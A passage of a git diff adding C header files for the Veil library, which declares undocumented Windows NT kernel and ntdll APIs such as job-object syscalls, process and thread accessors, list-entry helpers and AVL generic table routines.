+NTAPI +NtSetInformationJobObject( + _In_ HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _In_reads_bytes_(JobObjectInformationLength) PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationJobObject( + _In_ HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _In_reads_bytes_(JobObjectInformationLength) PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength +); + +#ifdef _KERNEL_MODE +typedef struct _JOB_SET_ARRAY +{ + HANDLE JobHandle; // Handle to job object to insert + UINT32 MemberLevel; // Level of this job in the set. Must be > 0. Can be sparse. + UINT32 Flags; // Unused. Must be zero +} JOB_SET_ARRAY, * PJOB_SET_ARRAY; +#endif // _KERNEL_MODE + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateJobSet( + _In_ ULONG NumJob, + _In_reads_(NumJob) PJOB_SET_ARRAY UserJobSet, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateJobSet( + _In_ ULONG NumJob, + _In_reads_(NumJob) PJOB_SET_ARRAY UserJobSet, + _In_ ULONG Flags +); + +#if (NTDDI_VERSION >= NTDDI_WINTHRESHOLD) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRevertContainerImpersonation( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRevertContainerImpersonation( + VOID +); +#endif + +// +// Reserve objects +// + +// private +typedef enum _MEMORY_RESERVE_TYPE +{ + MemoryReserveUserApc, + MemoryReserveIoCompletion, + MemoryReserveTypeMax +} MEMORY_RESERVE_TYPE; + +#if (NTDDI_VERSION >= NTDDI_WIN7) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateReserveObject( + _Out_ PHANDLE MemoryReserveHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ MEMORY_RESERVE_TYPE Type +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAllocateReserveObject( + _Out_ PHANDLE MemoryReserveHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ MEMORY_RESERVE_TYPE Type +); +#endif + +#ifdef _KERNEL_MODE + +// Process + +NTKERNELAPI +NTSTATUS +NTAPI +PsLookupProcessThreadByCid( + _In_ PCLIENT_ID ClientId, + _Out_opt_ PEPROCESS* Process, + _Out_ PETHREAD* Thread +); + +NTSYSAPI +BOOLEAN +NTAPI +PsIsSystemProcess( + _In_ PEPROCESS Process +); + +NTSYSAPI +HANDLE NTAPI +PsGetProcessInheritedFromUniqueProcessId( + _In_ PEPROCESS Process +); + +NTSYSAPI +ULONG NTAPI +PsGetProcessSessionId( + _In_ PEPROCESS Process +); + +// The difference is that Ex will return -1 +NTSYSAPI +ULONG +NTAPI +PsGetProcessSessionIdEx( + _In_ PEPROCESS Process +); + +NTSYSAPI +ULONG +NTAPI +PsGetCurrentProcessSessionId( +); + +NTSYSAPI +BOOLEAN +NTAPI +PsGetProcessExitProcessCalled( + _In_ PEPROCESS Process +); + +NTSYSAPI +UCHAR* +NTAPI +PsGetProcessImageFileName( + _In_ PEPROCESS Process +); + +#define PsGetCurrentProcessImageFileName() PsGetProcessImageFileName(PsGetCurrentProcess()) + +NTSYSAPI +PVOID +NTAPI +PsGetProcessSectionBaseAddress( + _In_ PEPROCESS Process +); + +#define PsGetProcessPcb(Process) ((PKPROCESS)(Process)) + +NTSYSAPI +PPEB NTAPI +PsGetProcessPeb( + _In_ PEPROCESS Process +); + +NTSYSAPI +VOID +NTAPI +PsSetProcessPriorityClass( + _Out_ PEPROCESS Process, + _In_ UCHAR PriorityClass +); + +NTSYSAPI +UCHAR +NTAPI +PsGetProcessPriorityClass( + _In_ PEPROCESS Process +); + +NTSYSAPI +VOID +NTAPI +PsSetProcessWindowStation( + _Out_ PEPROCESS Process, + _In_ HANDLE Win32WindowStation +); + +NTSYSAPI +HANDLE +NTAPI +PsGetProcessWin32WindowStation( + _In_ PEPROCESS Process +); + +#define PsGetCurrentProcessWin32WindowStation() PsGetProcessWin32WindowStation(PsGetCurrentProcess()) + +NTSYSAPI +NTSTATUS +NTAPI +PsSetProcessWin32Process( + _In_ PEPROCESS Process, + _In_ PVOID Win32Process, + _In_ PVOID PrevWin32Process +); + +NTSYSAPI +PVOID +NTAPI +PsGetProcessWin32Process( + _In_ PEPROCESS Process +); + +NTSYSAPI +PVOID +NTAPI +PsGetCurrentProcessWin32Process( + VOID +); + +#ifdef _WIN64 +NTSYSAPI +struct _PEB32* +NTAPI +PsGetProcessWow64Process( + _In_ PEPROCESS Process +); + +NTSYSAPI +struct _PEB32* +NTAPI +PsGetCurrentProcessWow64Process( + VOID +); +#endif //_WIN64 + +FORCEINLINE BOOLEAN NTAPI PsIs32bitProcess( + _In_ PEPROCESS Process +) +{ +#ifdef _WIN64 + return !!PsGetProcessWow64Process(Process); +#else + UNREFERENCED_PARAMETER(Process); + return FALSE; +#endif +} + +PVOID NTAPI +PsGetProcessSecurityPort( + _In_ PEPROCESS Process +); + +NTSTATUS NTAPI +PsSuspendProcess( + _In_ PEPROCESS Process +); + +NTSTATUS NTAPI +PsResumeProcess( + _In_ PEPROCESS Process +); + +NTKERNELAPI +NTSTATUS +NTAPI +PsAcquireProcessExitSynchronization( + _In_ PEPROCESS Process +); + +NTKERNELAPI +VOID +NTAPI +PsReleaseProcessExitSynchronization( + _In_ PEPROCESS Process +); + +// Job + +NTSYSAPI +PEJOB +NTAPI +PsGetProcessJob( + _In_ PEPROCESS Process +); + +NTSYSAPI +PERESOURCE +NTAPI +PsGetJobLock( + _In_ PEJOB Job +); + +NTSYSAPI +ULONG +NTAPI +PsGetJobSessionId( + _In_ PEJOB Job +); + +NTSYSAPI +VOID +NTAPI +PsSetJobUIRestrictionsClass( + _Out_ struct _EJOB* Job, + _In_ ULONG UIRestrictionsClass +); + +NTSYSAPI +ULONG +NTAPI +PsGetJobUIRestrictionsClass( + _In_ PEJOB Job +); + +// Debug + +NTSYSAPI +PVOID +NTAPI +PsGetProcessDebugPort( + _In_ PEPROCESS Process +); + +NTSYSAPI +BOOLEAN +NTAPI +PsIsProcessBeingDebugged( + _In_ PEPROCESS Process +); + +// File Object + +NTSYSAPI +NTSTATUS +NTAPI +PsReferenceProcessFilePointer( + _In_ PEPROCESS Process, + _Out_ PFILE_OBJECT* pFilePointer +); + +// Thread + +NTKERNELAPI +BOOLEAN +PsIsSystemThread( + _In_ PETHREAD Thread +); + +_IRQL_requires_max_(DISPATCH_LEVEL) +NTKERNELAPI +BOOLEAN +PsIsThreadTerminating( + _In_ PETHREAD Thread +); + +NTKERNELAPI +BOOLEAN +NTAPI +PsIsThreadImpersonating( + _In_ PETHREAD Thread +); + +NTKERNELAPI +PVOID +NTAPI +PsGetCurrentThreadStackLimit( + VOID +); + +NTKERNELAPI +PVOID +NTAPI +PsGetCurrentThreadStackBase( + VOID +); + +NTKERNELAPI +KPROCESSOR_MODE +NTAPI +PsGetCurrentThreadPreviousMode( + VOID +); + +NTKERNELAPI +PEPROCESS +PsGetThreadProcess( + _In_ PETHREAD Thread +); + +NTKERNELAPI +PEPROCESS +NTAPI +PsGetCurrentThreadProcess( + VOID +); + +NTKERNELAPI +HANDLE +NTAPI +PsGetCurrentThreadProcessId( + VOID +); + +FORCEINLINE +CLIENT_ID +NTAPI +PsGetThreadClientId( + _In_ PETHREAD Thread +) +{ + CLIENT_ID ClientId = { PsGetThreadProcessId(Thread), PsGetThreadId(Thread) }; + return ClientId; +} + +NTKERNELAPI +ULONG +NTAPI +PsGetThreadSessionId( + _In_ PETHREAD Thread +); + +NTKERNELAPI +NTSTATUS +NTAPI +PsSetContextThread( + _In_ PETHREAD Thread, + _In_ PCONTEXT ThreadContext, + _In_ KPROCESSOR_MODE Mode +); + +NTKERNELAPI +NTSTATUS +NTAPI +PsGetContextThread( + _In_ PETHREAD Thread, + _Inout_ PCONTEXT ThreadContext, + _In_ KPROCESSOR_MODE Mode +); + +NTKERNELAPI +VOID +NTAPI +PsSetThreadWin32Thread( + _Inout_ PETHREAD Thread, + _In_ PVOID Win32Thread, + _In_ PVOID PrevWin32Thread +); + +NTKERNELAPI +PVOID +NTAPI +PsGetThreadWin32Thread( + _In_ PETHREAD Thread +); + +NTKERNELAPI +PVOID +NTAPI +PsGetCurrentThreadWin32Thread( + VOID +); + +NTKERNELAPI +PVOID +NTAPI +PsGetCurrentThreadWin32ThreadAndEnterCriticalRegion( + _Out_ PHANDLE ProcessId +); + +#define PsGetThreadTcb(Thread) ((PKTHREAD)(Thread)) + +NTKERNELAPI +PVOID +NTAPI +PsGetThreadTeb( + _In_ PETHREAD Thread +); + +NTKERNELAPI +CCHAR +NTAPI +PsGetThreadFreezeCount( + _In_ PETHREAD Thread +); + +NTKERNELAPI +BOOLEAN +NTAPI +PsGetThreadHardErrorsAreDisabled( + _In_ PETHREAD Thread +); + +#endif // _KERNEL_MODE + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.RuntimeLibrary.h b/include/Veil/Veil/Veil.System.RuntimeLibrary.h new file mode 100644 index 0000000..20be6a0 --- /dev/null +++ b/include/Veil/Veil/Veil.System.RuntimeLibrary.h @@ -0,0 +1,10969 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +// +// Helper +// + +#ifndef _KERNEL_MODE + +//++ +// +// PCHAR +// RtlOffsetToPointer ( +// PVOID Base, +// ULONG Offset +// ) +// +// Routine Description: +// +// This macro generates a pointer which points to the byte that is 'Offset' +// bytes beyond 'Base'. This is useful for referencing fields within +// self-relative data structures. +// +// Arguments: +// +// Base - The address of the base of the structure. +// +// Offset - An unsigned integer offset of the byte whose address is to +// be generated. +// +// Return Value: +// +// A PCHAR pointer to the byte that is 'Offset' bytes beyond 'Base'. +// +// +//-- + +#define RtlOffsetToPointer(B,O) ((PCHAR)( ((PCHAR)(B)) + ((ULONG_PTR)(O)) )) + + +//++ +// +// ULONG +// RtlPointerToOffset ( +// PVOID Base, +// PVOID Pointer +// ) +// +// Routine Description: +// +// This macro calculates the offset from Base to Pointer. This is useful +// for producing self-relative offsets for structures. +// +// Arguments: +// +// Base - The address of the base of the structure. +// +// Pointer - A pointer to a field, presumably within the structure +// pointed to by Base. This value must be larger than that specified +// for Base. +// +// Return Value: +// +// A ULONG offset from Base to Pointer. +// +// +//-- + +#define RtlPointerToOffset(B,P) ((ULONG)( ((PCHAR)(P)) - ((PCHAR)(B)) )) + +//++ +//VOID +//RtlFailFast ( +// _In_ ULONG Code +// ); +// +// Routine Description: +// +// This routine brings down the caller immediately in the event that +// critical corruption has been detected. No exception handlers are +// invoked. +// +// The routine may be used in libraries shared with user mode and +// kernel mode. In user mode, the process is terminated, whereas in +// kernel mode, a KERNEL_SECURITY_CHECK_FAILURE bug check is raised. +// +// Arguments +// +// Code - Supplies the reason code describing what type of corruption +// was detected. +// +// Return Value: +// +// None. There is no return from this routine. +// +//-- + +DECLSPEC_NORETURN +FORCEINLINE +VOID +RtlFailFast( + _In_ ULONG Code +) +{ + __fastfail(Code); +} + +#endif // !_KERNEL_MODE + +// +// Doubly-linked list manipulation routines. +// + +#ifndef _KERNEL_MODE + +// +// VOID +// InitializeListHead32( +// PLIST_ENTRY32 ListHead +// ); +// + +#define InitializeListHead32(ListHead) (\ + (ListHead)->Flink = (ListHead)->Blink = PtrToUlong((ListHead))) + +#define RTL_STATIC_LIST_HEAD(x) LIST_ENTRY x = { &x, &x } + +FORCEINLINE +VOID +InitializeListHead( + _Out_ PLIST_ENTRY ListHead +) +{ + ListHead->Flink = ListHead->Blink = ListHead; + return; +} + +_Must_inspect_result_ +BOOLEAN +FORCEINLINE +IsListEmpty( + _In_ const LIST_ENTRY* ListHead +) +{ + return (BOOLEAN)(ListHead->Flink == ListHead); +} + +//++ +//VOID +//FatalListEntryError ( +// _In_ PVOID p1, +// _In_ PVOID p2, +// _In_ PVOID p3 +// ); +// +// Routine Description: +// +// This routine reports a fatal list entry error. It is implemented here as a +// wrapper around RtlFailFast so that alternative reporting mechanisms (such +// as simply logging and trying to continue) can be easily switched in. +// +// Arguments: +// +// p1 - Supplies the first failure parameter. +// +// p2 - Supplies the second failure parameter. +// +// p3 - Supplies the third failure parameter. +// +//Return Value: +// +// None. +//-- + +FORCEINLINE +VOID +FatalListEntryError( + _In_ PVOID p1, + _In_ PVOID p2, + _In_ PVOID p3 +) +{ + UNREFERENCED_PARAMETER(p1); + UNREFERENCED_PARAMETER(p2); + UNREFERENCED_PARAMETER(p3); + + RtlFailFast(FAST_FAIL_CORRUPT_LIST_ENTRY); +} + +#if DBG + +FORCEINLINE +VOID +RtlpCheckListEntry( + _In_ PLIST_ENTRY Entry +) +{ + if ((((Entry->Flink)->Blink) != Entry) || (((Entry->Blink)->Flink) != Entry)) { + FatalListEntryError((PVOID)(Entry), + (PVOID)((Entry->Flink)->Blink), + (PVOID)((Entry->Blink)->Flink)); + } +} + +#else + +#define RtlpCheckListEntry + +#endif + +FORCEINLINE +BOOLEAN +RemoveEntryList( + _In_ PLIST_ENTRY Entry +) +{ + PLIST_ENTRY PrevEntry; + PLIST_ENTRY NextEntry; + + NextEntry = Entry->Flink; + PrevEntry = Entry->Blink; + if ((NextEntry->Blink != Entry) || (PrevEntry->Flink != Entry)) { + FatalListEntryError((PVOID)PrevEntry, + (PVOID)Entry, + (PVOID)NextEntry); + } + + PrevEntry->Flink = NextEntry; + NextEntry->Blink = PrevEntry; + return (BOOLEAN)(PrevEntry == NextEntry); +} + +FORCEINLINE +PLIST_ENTRY +RemoveHeadList( + _Inout_ PLIST_ENTRY ListHead +) +{ + PLIST_ENTRY Entry; + PLIST_ENTRY NextEntry; + + Entry = ListHead->Flink; + +#if DBG + + RtlpCheckListEntry(ListHead); + +#endif + + NextEntry = Entry->Flink; + if ((Entry->Blink != ListHead) || (NextEntry->Blink != Entry)) { + FatalListEntryError((PVOID)ListHead, + (PVOID)Entry, + (PVOID)NextEntry); + } + + ListHead->Flink = NextEntry; + NextEntry->Blink = ListHead; + + return Entry; +} + +FORCEINLINE +PLIST_ENTRY +RemoveTailList( + _Inout_ PLIST_ENTRY ListHead +) +{ + PLIST_ENTRY Entry; + PLIST_ENTRY PrevEntry; + + Entry = ListHead->Blink; + +#if DBG + + RtlpCheckListEntry(ListHead); + +#endif + + PrevEntry = Entry->Blink; + if ((Entry->Flink != ListHead) || (PrevEntry->Flink != Entry)) { + FatalListEntryError((PVOID)PrevEntry, + (PVOID)Entry, + (PVOID)ListHead); + } + + ListHead->Blink = PrevEntry; + PrevEntry->Flink = ListHead; + return Entry; +} + + +FORCEINLINE +VOID +InsertTailList( + _Inout_ PLIST_ENTRY ListHead, + _Out_ __drv_aliasesMem PLIST_ENTRY Entry +) +{ + PLIST_ENTRY PrevEntry; + +#if DBG + + RtlpCheckListEntry(ListHead); + +#endif + + PrevEntry = ListHead->Blink; + if (PrevEntry->Flink != ListHead) { + FatalListEntryError((PVOID)PrevEntry, + (PVOID)ListHead, + (PVOID)PrevEntry->Flink); + } + + Entry->Flink = ListHead; + Entry->Blink = PrevEntry; + PrevEntry->Flink = Entry; + ListHead->Blink = Entry; + return; +} + + +FORCEINLINE +VOID +InsertHeadList( + _Inout_ PLIST_ENTRY ListHead, + _Out_ __drv_aliasesMem PLIST_ENTRY Entry +) +{ + PLIST_ENTRY NextEntry; + +#if DBG + + RtlpCheckListEntry(ListHead); + +#endif + + NextEntry = ListHead->Flink; + if (NextEntry->Blink != ListHead) { + FatalListEntryError((PVOID)ListHead, + (PVOID)NextEntry, + (PVOID)NextEntry->Blink); + } + + Entry->Flink = NextEntry; + Entry->Blink = ListHead; + NextEntry->Blink = Entry; + ListHead->Flink = Entry; + return; +} + +FORCEINLINE +VOID +AppendTailList( + _Inout_ PLIST_ENTRY ListHead, + _Inout_ PLIST_ENTRY ListToAppend +) +{ + PLIST_ENTRY ListEnd = ListHead->Blink; + + RtlpCheckListEntry(ListHead); + RtlpCheckListEntry(ListToAppend); + ListHead->Blink->Flink = ListToAppend; + ListHead->Blink = ListToAppend->Blink; + ListToAppend->Blink->Flink = ListHead; + ListToAppend->Blink = ListEnd; + return; +} + +FORCEINLINE +PSINGLE_LIST_ENTRY +PopEntryList( + _Inout_ PSINGLE_LIST_ENTRY ListHead +) +{ + PSINGLE_LIST_ENTRY FirstEntry; + + FirstEntry = ListHead->Next; + if (FirstEntry != NULL) { + ListHead->Next = FirstEntry->Next; + } + + return FirstEntry; +} + +FORCEINLINE +VOID +PushEntryList( + _Inout_ PSINGLE_LIST_ENTRY ListHead, + _Inout_ __drv_aliasesMem PSINGLE_LIST_ENTRY Entry +) +{ + Entry->Next = ListHead->Next; + ListHead->Next = Entry; + return; +} + +#if !defined(MIDL_PASS) +__inline +void +ListEntry32To64( + _In_ PLIST_ENTRY32 l32, + _Out_ PLIST_ENTRY64 l64 +) +{ + l64->Flink = (ULONGLONG)(ULONG)l32->Flink; + l64->Blink = (ULONGLONG)(ULONG)l32->Blink; +} + +__inline +void +ListEntry64To32( + _In_ PLIST_ENTRY64 l64, + _Out_ PLIST_ENTRY32 l32 +) +{ + l32->Flink = (ULONG)l64->Flink; + l32->Blink = (ULONG)l64->Blink; +} +#endif + +#endif // !_KERNEL_MODE + +// +// Run once +// + +#ifndef _KERNEL_MODE + +#ifndef _RTL_RUN_ONCE_DEF +#define _RTL_RUN_ONCE_DEF + +// +// Run once +// + +#define RTL_RUN_ONCE_INIT {0} // Static initializer + +// +// Run once flags +// + +#define RTL_RUN_ONCE_CHECK_ONLY 0x00000001UL +#define RTL_RUN_ONCE_ASYNC 0x00000002UL +#define RTL_RUN_ONCE_INIT_FAILED 0x00000004UL + +// +// The context stored in the run once structure must leave the following number +// of low order bits unused. +// + +#define RTL_RUN_ONCE_CTX_RESERVED_BITS 2 + +typedef union _RTL_RUN_ONCE { + PVOID Ptr; +} RTL_RUN_ONCE, * PRTL_RUN_ONCE; + +#endif // _RTL_RUN_ONCE_DEF + +typedef +_Function_class_(RTL_RUN_ONCE_INIT_FN) +_IRQL_requires_same_ +ULONG /* LOGICAL */ +NTAPI +RTL_RUN_ONCE_INIT_FN( + _Inout_ PRTL_RUN_ONCE RunOnce, + _Inout_opt_ PVOID Parameter, + _Inout_opt_ PVOID* Context +); +typedef RTL_RUN_ONCE_INIT_FN* PRTL_RUN_ONCE_INIT_FN; + +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlRunOnceInitialize( + _Out_ PRTL_RUN_ONCE RunOnce +); + +_IRQL_requires_max_(APC_LEVEL) +_Maybe_raises_SEH_exception_ +NTSYSAPI +NTSTATUS +NTAPI +RtlRunOnceExecuteOnce( + _Inout_ PRTL_RUN_ONCE RunOnce, + _In_ __callback PRTL_RUN_ONCE_INIT_FN InitFn, + _Inout_opt_ PVOID Parameter, + _Outptr_opt_result_maybenull_ PVOID* Context +); + +_IRQL_requires_max_(APC_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlRunOnceBeginInitialize( + _Inout_ PRTL_RUN_ONCE RunOnce, + _In_ ULONG Flags, + _Outptr_opt_result_maybenull_ PVOID* Context +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlRunOnceComplete( + _Inout_ PRTL_RUN_ONCE RunOnce, + _In_ ULONG Flags, + _In_opt_ PVOID Context +); + +#endif // NTDDI_VERSION >= NTDDI_LONGHORN + +#endif // !_KERNEL_MODE + +// +// AVL Trees +// + +#ifndef _KERNEL_MODE + +// +// This enumerated type is used as the function return value of the function +// that is used to search the tree for a key. FoundNode indicates that the +// function found the key. Insert as left indicates that the key was not found +// and the node should be inserted as the left child of the parent. Insert as +// right indicates that the key was not found and the node should be inserted +// as the right child of the parent. +// +typedef enum _TABLE_SEARCH_RESULT { + TableEmptyTree, + TableFoundNode, + TableInsertAsLeft, + TableInsertAsRight +} TABLE_SEARCH_RESULT; + +// +// The results of a compare can be less than, equal, or greater than. +// + +typedef enum _RTL_GENERIC_COMPARE_RESULTS { + GenericLessThan, + GenericGreaterThan, + GenericEqual +} RTL_GENERIC_COMPARE_RESULTS; + +// +// Define the Avl version of the generic table package. Note a generic table +// should really be an opaque type. We provide routines to manipulate the structure. +// +// A generic table is package for inserting, deleting, and looking up elements +// in a table (e.g., in a symbol table). To use this package the user +// defines the structure of the elements stored in the table, provides a +// comparison function, a memory allocation function, and a memory +// deallocation function. +// +// Note: the user compare function must impose a complete ordering among +// all of the elements, and the table does not allow for duplicate entries. +// + +// +// Add an empty typedef so that functions can reference the +// a pointer to the generic table struct before it is declared. +// + +struct _RTL_AVL_TABLE; + +// +// The comparison function takes as input pointers to elements containing +// user defined structures and returns the results of comparing the two +// elements. +// + +typedef +_IRQL_requires_same_ +_Function_class_(RTL_AVL_COMPARE_ROUTINE) +RTL_GENERIC_COMPARE_RESULTS +NTAPI +RTL_AVL_COMPARE_ROUTINE( + _In_ struct _RTL_AVL_TABLE* Table, + _In_ PVOID FirstStruct, + _In_ PVOID SecondStruct +); +typedef RTL_AVL_COMPARE_ROUTINE* PRTL_AVL_COMPARE_ROUTINE; + +// +// The allocation function is called by the generic table package whenever +// it needs to allocate memory for the table. +// + +typedef +_IRQL_requires_same_ +_Function_class_(RTL_AVL_ALLOCATE_ROUTINE) +__drv_allocatesMem(Mem) +PVOID +NTAPI +RTL_AVL_ALLOCATE_ROUTINE( + _In_ struct _RTL_AVL_TABLE* Table, + _In_ ULONG ByteSize +); +typedef RTL_AVL_ALLOCATE_ROUTINE* PRTL_AVL_ALLOCATE_ROUTINE; + +// +// The deallocation function is called by the generic table package whenever +// it needs to deallocate memory from the table that was allocated by calling +// the user supplied allocation function. +// + +typedef +_IRQL_requires_same_ +_Function_class_(RTL_AVL_FREE_ROUTINE) +VOID +NTAPI +RTL_AVL_FREE_ROUTINE( + _In_ struct _RTL_AVL_TABLE* Table, + _In_ __drv_freesMem(Mem) _Post_invalid_ PVOID Buffer +); +typedef RTL_AVL_FREE_ROUTINE* PRTL_AVL_FREE_ROUTINE; + +// +// The match function takes as input the user data to be matched and a pointer +// to some match data, which was passed along with the function pointer. It +// returns TRUE for a match and FALSE for no match. +// +// RTL_AVL_MATCH_FUNCTION returns +// STATUS_SUCCESS if the IndexRow matches +// STATUS_NO_MATCH if the IndexRow does not match, but the enumeration should +// continue +// STATUS_NO_MORE_MATCHES if the IndexRow does not match, and the enumeration +// should terminate +// + +typedef +_IRQL_requires_same_ +_Function_class_(RTL_AVL_MATCH_FUNCTION) +NTSTATUS +NTAPI +RTL_AVL_MATCH_FUNCTION( + _In_ struct _RTL_AVL_TABLE* Table, + _In_ PVOID UserData, + _In_ PVOID MatchData +); +typedef RTL_AVL_MATCH_FUNCTION* PRTL_AVL_MATCH_FUNCTION; + +// +// Define the balanced tree links and Balance field. (No Rank field +// defined at this time.) +// +// Callers should treat this structure as opaque! +// +// The root of a balanced binary tree is not a real node in the tree +// but rather points to a real node which is the root. It is always +// in the table below, and its fields are used as follows: +// +// Parent Pointer to self, to allow for detection of the root. +// LeftChild NULL +// RightChild Pointer to real root +// Balance Undefined, however it is set to a convenient value +// (depending on the algorithm) prior to rebalancing +// in insert and delete routines. +// + +typedef struct _RTL_BALANCED_LINKS { + struct _RTL_BALANCED_LINKS* Parent; + struct _RTL_BALANCED_LINKS* LeftChild; + struct _RTL_BALANCED_LINKS* RightChild; + CHAR Balance; + UCHAR Reserved[3]; +} RTL_BALANCED_LINKS; +typedef RTL_BALANCED_LINKS* PRTL_BALANCED_LINKS; + +// +// To use the generic table package the user declares a variable of type +// GENERIC_TABLE and then uses the routines described below to initialize +// the table and to manipulate the table. Note that the generic table +// should really be an opaque type. +// + +typedef struct _RTL_AVL_TABLE { + RTL_BALANCED_LINKS BalancedRoot; + PVOID OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + ULONG DepthOfTree; + PRTL_BALANCED_LINKS RestartKey; + ULONG DeleteCount; + PRTL_AVL_COMPARE_ROUTINE CompareRoutine; + PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_AVL_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_AVL_TABLE; +typedef RTL_AVL_TABLE* PRTL_AVL_TABLE; + +// +// The procedure InitializeGenericTable takes as input an uninitialized +// generic table variable and pointers to the three user supplied routines. +// This must be called for every individual generic table variable before +// it can be used. +// + +NTSYSAPI +VOID +NTAPI +RtlInitializeGenericTableAvl( + _Out_ PRTL_AVL_TABLE Table, + _In_ PRTL_AVL_COMPARE_ROUTINE CompareRoutine, + _In_ PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine, + _In_ PRTL_AVL_FREE_ROUTINE FreeRoutine, + _In_opt_ PVOID TableContext +); + +// +// The function InsertElementGenericTable will insert a new element +// in a table. It does this by allocating space for the new element +// (this includes AVL links), inserting the element in the table, and +// then returning to the user a pointer to the new element. If an element +// with the same key already exists in the table the return value is a pointer +// to the old element. The optional output parameter NewElement is used +// to indicate if the element previously existed in the table. Note: the user +// supplied Buffer is only used for searching the table, upon insertion its +// contents are copied to the newly created element. This means that +// pointer to the input buffer will not point to the new element. +// + +NTSYSAPI +PVOID +NTAPI +RtlInsertElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PBOOLEAN NewElement +); + +// +// The function InsertElementGenericTableFull will insert a new element +// in a table. It does this by allocating space for the new element +// (this includes AVL links), inserting the element in the table, and +// then returning to the user a pointer to the new element. If an element +// with the same key already exists in the table the return value is a pointer +// to the old element. The optional output parameter NewElement is used +// to indicate if the element previously existed in the table. Note: the user +// supplied Buffer is only used for searching the table, upon insertion its +// contents are copied to the newly created element. This means that +// pointer to the input buffer will not point to the new element. +// This routine is passed the NodeOrParent and SearchResult from a +// previous RtlLookupElementGenericTableFull. +// + +NTSYSAPI +PVOID +NTAPI +RtlInsertElementGenericTableFullAvl( + _In_ PRTL_AVL_TABLE Table, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PBOOLEAN NewElement, + _In_ PVOID NodeOrParent, + _In_ TABLE_SEARCH_RESULT SearchResult +); + +// +// The function DeleteElementGenericTable will find and delete an element +// from a generic table. If the element is located and deleted the return +// value is TRUE, otherwise if the element is not located the return value +// is FALSE. The user supplied input buffer is only used as a key in +// locating the element in the table. +// + +NTSYSAPI +BOOLEAN +NTAPI +RtlDeleteElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer +); + +// +// The function DeleteElementGenericTableAvxEx deletes the element specified +// by the NodeOrParent pointer. This element user data pointer must have first +// been obtained with RtlLookupElementGenericTableFull. +// + +#if (NTDDI_VERSION >= NTDDI_WIN8) +NTSYSAPI +VOID +NTAPI +RtlDeleteElementGenericTableAvlEx( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID NodeOrParent +); +#endif // NTDDI_VERSION >= NTDDI_WIN8 + +// +// The function LookupElementGenericTable will find an element in a generic +// table. If the element is located the return value is a pointer to +// the user defined structure associated with the element, otherwise if +// the element is not located the return value is NULL. The user supplied +// input buffer is only used as a key in locating the element in the table. +// + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlLookupElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer +); + +// +// The function LookupElementGenericTableFull will find an element in a generic +// table. If the element is located the return value is a pointer to +// the user defined structure associated with the element. If the element is not +// located then a pointer to the parent for the insert location is returned. The +// user must look at the SearchResult value to determine which is being returned. +// The user can use the SearchResult and parent for a subsequent FullInsertElement +// call to optimize the insert. +// + +NTSYSAPI +PVOID +NTAPI +RtlLookupElementGenericTableFullAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer, + _Out_ PVOID* NodeOrParent, + _Out_ TABLE_SEARCH_RESULT* SearchResult +); + +// +// The function EnumerateGenericTable will return to the caller one-by-one +// the 